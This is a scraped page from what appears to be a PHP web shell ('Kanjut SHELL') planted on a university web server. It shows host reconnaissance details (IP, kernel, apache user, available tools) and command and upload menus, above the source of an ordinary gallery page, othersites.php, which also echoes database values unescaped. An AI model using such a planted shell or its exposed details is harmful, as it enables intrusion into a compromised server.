Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.106.23
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/othersites.php
<?php include('includes/connect.php'); ?>

<?php

if($user->not_logged_in()){

?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Brian Hanna-Sauro">
    <title>Beijing</title>

    <!-- Bootstrap Core CSS -->
    <link href="lib/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <link href="lib/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" type="text/css" href="gallery_style.css">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

    <!-- Theme CSS -->
    <link href="css/grayscale.min.css" rel="stylesheet">



    <style>

	    .navbar-toggler {
	        z-index: 1;
	    }


.resize_fit_center {
    max-width:100%;
    max-height:100%;
    vertical-align: middle;
}
	    html,
		body {
		   margin:0;
		   padding:0;
		   height:100%;

		}
		#container {
		   min-height:100%;
		   position:relative;
		   width: 100%;
		   	background-color: #dcefe4;
		   	color:#333;
			padding-bottom:60px;

		}

		#header {
		   background:#fff;
		   padding:10px;
		}
		#body {
			padding-left: 80px;
		   padding-bottom:60px;   /* Height of the footer */
		   background-color: #fff;
		   color:#333;
		}
		#footer {
		   position: absolute;
		   margin-top: 10px;
		   bottom:0;
		   width:100%;
		   height: 80px;   /* Height of the footer */
		   background: #000;
		   color: #fff;
		}

	    @media (max-width: 576px) {
	        nav > .container {
	            width: 100%;
	        }
	    }

	    .carousel-inner > .item > img,
		.carousel-inner > .item > a > img {
		  width: 70%;
		  margin: auto;
		  image-orientation: from-image;
		}


	div.img {
	 margin: 20px;
     border: 1px solid #ccc;
   	 float: center;
   	 margin-bottom: 0px;
   	 padding-left: 1px;
	 padding-right: 1px;

	}
.thumbnail {
  position: relative;
  width: 300px;
  height: 300px;
  overflow: hidden;

}
.thumbnail img {
  position: absolute;
  left: 50%;
  top: 50%;
  width: 300px;
  height: 300px;
  -webkit-transform: translate(-50%,-50%);
      -ms-transform: translate(-50%,-50%);
          transform: translate(-50%,-50%);
}
div.img:hover {
     box-shadow: 0 0 2px 1px rgba(0, 140, 186, 0.5);
}


div.desc {
    padding: 1px;
    padding-bottom: 2px;
    text-align: center;

}



</style>


 </head>

<body >
	<!-- Navigation -->
	    <nav id="mainNav" class="navbar fixed-top navbar-toggleable-md navbar-light">
	        <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarExample" aria-controls="navbarExample" aria-expanded="false" aria-label="Toggle navigation">
	            Menu <i class="fa fa-bars"></i>
	        </button>
	        <div class="container">
	            <a class="navbar-brand page-scroll" href="index.php">ASIANetwork</a>
	            <div class="collapse navbar-collapse" id="navbarExample">

	                <ul class="navbar-nav ml-auto navbar-right">
	                    <li class="nav-item">
	                        <a class="nav-link page-scroll" href="user/login.php">Log In</a>
	                    </li>
	                    <li class="nav-item">
						    <a class="nav-link page-scroll" href="user/signup.php">Sign Up</a>
	                    </li>
	                    <li>
	                        <a class="nav-link page-scroll" href="galleries.php">Galleries</a>
	                    </li>
	                    <li class="nav-item">
	                        <a class="nav-link page-scroll" href="index.php#about">About</a>
	                    </li>
	                </ul>
	            </div>

	        </div>
    </nav>

		  </div>

		  <div id="container">
				<div id="header"><br>
			            <h3  class="text-center" style="border-bottom:1px dashed #ccc;  padding:0 0 20px 0; margin-bottom:40px;">Other Sites</h3>
			    </div>



				<div id="body">

					<div class="well">

			        <ul class="row first">


			  <?php

			    	$sql = "select * from an_posts where location = 'BEIJING'";
			    	$result = $connect->query($sql);

				while($row = $result->fetch()){

					$path = $row['image_path'];

					$path .= $row['image_name'];

					$postDate = $row['postDate'];
					$postTitle = $row['postTitle'];
					$userID = $row['userID'];
					$location = $row['location'];

			  ?>

				<div class="img col-sm-3" >
								    <a href="viewpost.php?id=<?php echo $row['picID']; ?>" >
										<li id="list" style="list-style-type:none">
										<div class='container' id="thumb">
								      	<img id="pic" src="user/<?php echo $path ?>" class="img-thumbnail resize_fit_center" alt="<?php echo $postTitle; ?>">
										</div>
								      	<div class="desc">
								      	<a style="text-decoration: none; text-overflow: ellipsis;" href="viewpost.php?id=<?php echo $row['picID']; ?>"  ><p><?php echo $postTitle; ?></p></a>
								      	</div>
								      	</a>
		    			</div>



			<?php
					}

					?>
	</div>

</div>

</div>
	<div id="footer">
	    <!-- Footer -->
	        <div class="text-center">
	            <p>Copyright &copy; ASIANetwork 2017</p>
	   		</div>
	 	</div>

 </body>
 </html>


<?php
	} else{

		header('Location: user/beijing.php');
	}
?>

Stv3n404 - 2023